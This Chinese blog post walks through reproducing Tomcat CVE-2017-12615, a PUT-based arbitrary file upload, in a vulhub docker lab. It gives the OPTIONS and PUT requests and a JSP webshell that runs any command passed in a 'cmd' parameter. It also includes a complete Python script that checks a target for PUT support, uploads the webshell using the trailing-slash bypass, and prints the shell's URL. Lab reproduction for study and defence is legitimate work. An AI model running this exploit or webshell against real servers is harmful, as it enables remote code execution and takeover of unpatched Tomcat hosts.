Tomcat CVE-2017-12615 PUT任意文件上传

Tomcat CVE-2017-12615 PUT任意文件上传

漏洞原理:传送门

实验环境

主机角色IP
centos8漏洞靶机192.168.1.80
windows10攻击主机(burp)192.168.1.120

实验流程

开启漏洞靶机centos8

# 进入vulhub目录
cd /usr/sbin/vulhub/tomcat/CVE-2017-12615

# 创建docker镜像
docker-compose build

# 启动docker镜像
docker-compose up -d

查看tomcat关键的配置文件

vim Dockerfile

image-20210512110005016

cat /usr/local/tomcat/conf/web.xml | grep ‘<init-param>’

image-20210513163849179

向目标url发送一个options方法的请求,用来获知服务器允许的实际请求(看其中是否有PUT)

OPTIONS /shell.jsp/ HTTP/1.1
Host: 192.168.1.80:8080
Content-Length:5

shell

image-20210512112013273

如上图所示,返回的Allow字段中含有PUT方法,说明服务器允许PUT请求。

尝试使用PUT方法上传一个文件shell.jsp:

image-20210512112827287

用浏览器尝试访问该文件:

image-20210512112845567

如图所示,成功访问。

尝试上传一个webshell,内容如下:

<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
	StringBuilder line = new StringBuilder();
	try {
		Process pro = Runtime.getRuntime().exec(c);
		BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
		String temp = null;
		while ((temp = buf.readLine()) != null){
			line.append(temp+"\\n");
		}
		buf.close();
	} catch (Exception e) {
		line.append(e.getMessage());
	}
	return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
	out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
	out.println(":-)");
}
%>

image-20210512140142646

访问上传的webshell:

image-20210512140251290

成功!

为方便复现漏洞,可以编写一个python脚本:

import http.client,sys
import time

#target = sys.argv[1]
file_name = str(int(time.time()))+'.jsp'   #以时间戳作为文件名,防止重名
body = '''<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
	StringBuilder line = new StringBuilder();
	try {
		Process pro = Runtime.getRuntime().exec(c);
		BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
		String temp = null;
		while ((temp = buf.readLine()) != null){
			line.append(temp+"\\n");
		}
		buf.close();
	} catch (Exception e) {
		line.append(e.getMessage());
	}
	return line.toString();
	}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
	out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
	out.println(":-)");}
%>
'''
target = sys.argv[1]     #接收一个参数,作为目标url
try:
    conn = http.client.HTTPConnection(target)    #对目标进行http连接
    conn.request(method='OPTIONS',url="/mapx")         #用options方法对目标url发起请求(路径随意)
    headers = dict(conn.getresponse().getheaders())   #获取响应头,作为一个字典
    #print(headers)
    if 'Allow' in headers and headers['Allow'].find('PUT') > 0:  #查找响应头的Allow字段是否含有PUT
        conn.close()          #关闭http连接
        conn = http.client.HTTPConnection(target)            
        url = "/" + file_name + "/"    #注意,一定要在filename后加/,这样才可以让tomact将shell.jsp/当作非jsp文件,让DefaultServlet去处理
        #url = "/" + str(int(time.time()))+'.jsp::$DATA'
        conn.request(method='PUT', url=url, body=body)      #使用PUT方式发送HTTP请求
        res = conn.getresponse()         #获取response对象
        if res.status == 201:
            try:
                #请求上传的文件,校验是否上传成功可被访问
                conn = http.client.HTTPConnection(target)  
                conn.request(method='GET',url=url)  #请求上传的文件
                html = conn.getresponse().read()    #获取respose
                html = html.decode()    
                if file_name in html:      #查找filename是否在html中
                    print('shell:' + target + url[:-1])   #输出文件名和url
                    result = 'vulnerable'
                else:
                    print('upload faild')
                    result = 'vulnerable'
            except Exception as e:
                result = 'not vulnerable'
                print('Error:',e)

        elif res.status == 204:   #204说明文件重名
            result = 'not vulnerable'
            print('file exists')
        else:
            result = 'not vulnerable'
            print('error')
        conn.close()
    else:
        result = 'not vulnerable'
        print('Server not vulnerable')
except Exception as e:
    print('Error',e)

运行python脚本,传入目标url:

image-20210513165430475

访问该文件,并传入命令参数:

image-20210513165531657

成功!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值